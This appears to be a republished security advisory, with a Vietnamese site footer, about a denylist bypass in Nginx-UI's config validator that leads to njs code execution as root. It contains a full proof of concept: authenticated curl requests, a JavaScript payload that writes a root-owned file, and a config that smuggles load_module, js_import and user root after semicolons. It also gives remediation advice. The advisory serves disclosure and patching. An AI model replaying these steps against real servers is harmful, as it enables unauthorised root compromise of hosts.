| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| github.com/0xJacky/Nginx-UI | < 1.9.10-0.20260703131214-23d1934099b0 | 1.9.10-0.20260703131214-23d1934099b0 |
config.ValidateConfigFile is the security control that blocks dangerous nginx directives
(js_*, perl_*, load_module of njs/perl modules, user root). Its directive scanner is
bypassable: it splits the config by newlines and inspects only the FIRST token of each line, but
nginx separates directives with ;, not newlines. Putting a benign directive first and the blocked
directive after a ; on the SAME line defeats every check. The include directive is also not on
the denylist. As a result, an authenticated caller can inject the exact directives the hardening was
meant to block, through EVERY path that calls the validator — POST /api/configs (add), the REST
config modify endpoint (api/config/modify.go), the MCP nginx_config_modify tool, and the
site/stream save paths (internal/site/save.go, internal/stream/save.go). On deployments where
nginx has the njs/perl module (the official uozi/nginx-ui Docker image ships ngx_http_js_module.so),
this leads to code execution in the nginx worker; with user root the workers run as root.
This is distinct from the config_add gap (the MCP nginx_config_add tool not calling the validator at all): here the validator IS called and still bypassed, so fixing config_add does not fix this.
for _, line := range bytes.Split(content, []byte("\n")) { // splits on \n only
trimmed := strings.TrimSpace(string(line))
...
directive := firstDirectiveToken(trimmed) // first [a-zA-Z_]* of the line
if directive == "user" && configuresRootWorkers(trimmed) { ... } // keyed on first token
if directive == "load_module" && loadsRestrictedDynamicModule(...) { ... } // keyed on first token
if _, blocked := blockedConfigDirectives[directive]; blocked { ... } // keyed on first token
}
nginx parses a 1; b 2; on one line as two directives, but this scanner only ever sees a.
include is absent from blockedConfigDirectives.
Authenticated with a node secret (X-Node-Secret, from nginx-ui's first-boot log) or a user JWT.
Every step below hits a path that calls ValidateConfigFile.
curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \
-d '{"name":"x.conf","base_dir":"","content":"js_import a.js;","overwrite":true}'
# -> 40017 "file content contains restricted nginx directive: js_import" (REJECTED)
poc.conf:
import fs from 'fs';
function pwn(r){ fs.writeFileSync('/tmp/NJS_VIA_DENYLIST_BYPASS.txt','denylist-bypass-rce-ok\n'); r.return(200,'pwned2\n'); }
export default { pwn };
curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \
-d '{"name":"poc.conf","base_dir":"","content":"<the JS above>","overwrite":true}' # ACCEPTED
nginx_config_modify MCP tool, smuggling each
blocked directive after a benign one on the SAME line (this is ACCEPTED by ValidateConfigFile):worker_processes 1; load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
error_log /var/log/nginx/error.log notice; user root;
pid /run/nginx.pid;
events { worker_connections 1024; }
http {
include /etc/nginx/mime.types;
default_type application/octet-stream; js_import poc from /etc/nginx/poc.conf;
server { listen 8897; location = /pwn3 { js_content poc.pwn; } }
}
nginx -t successful./proc/<pid>/status → Uid: 0 0 0 0 (root) — the blocked user root took effect.GET http://127.0.0.1:8897/pwn3 → pwned2 — js_content executed./tmp/NJS_VIA_DENYLIST_BYPASS.txt created, owned by root → njs code execution as root.(An MCP-over-SSE client for steps using nginx_config_modify is included in the config_add report as
poc_mcp_client.py; the same client drives this PoC. X-Node-Secret authenticates both REST and MCP.)
Authenticated config-injection that defeats the directive-validation control on all guarded write
paths. On deployments with njs/perl available (the official Docker image ships ngx_http_js_module.so):
code execution in the nginx worker and, via user root, arbitrary file read/write as root (trivially
escalated to full host compromise). On stock nginx without those modules: reliable DoS (failed
reload) plus user root privilege regression.
POST /api/configs (add) and the MCP
nginx_config_modify tool. The other callers — REST config modify (api/config/modify.go), site
save (internal/site/save.go), stream save (internal/stream/save.go) — invoke the SAME
ValidateConfigFile (code-confirmed), so they are affected by construction; I did not individually
live-test each.load_module/js_* make reload fail → DoS plus a user root privilege regression (inferred from
nginx module behavior; not separately tested on a stock build).; and include bypasses are fully confirmed live. A backslash line-continuation variant was
accepted by the validator but its nginx parsing was not separately confirmed and is not relied on.fs (proven: a
root-owned file was written); the subsequent authorized_keys/cron step is a well-known escalation,
not something this PoC executed.Do not hand-roll a newline/first-token denylist. Validate the way nginx parses: split statements on
; (and handle blocks, comments, line continuations), validate EVERY statement, block/limit
include, and recurse into included files — or validate via an allowlist and/or by running
nginx -t on the candidate before activating it.
Distinct from CVE-2026-33032 (unauthenticated MCP endpoint — an auth issue, now fixed) and from the separately reported config_add validation gap (a missing validator call on one path). This is a bypass of the validator itself, affecting every path that calls it; no existing CVE/GHSA covers it (checked osv.dev and the GitHub advisory database for this repo). Appears novel.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí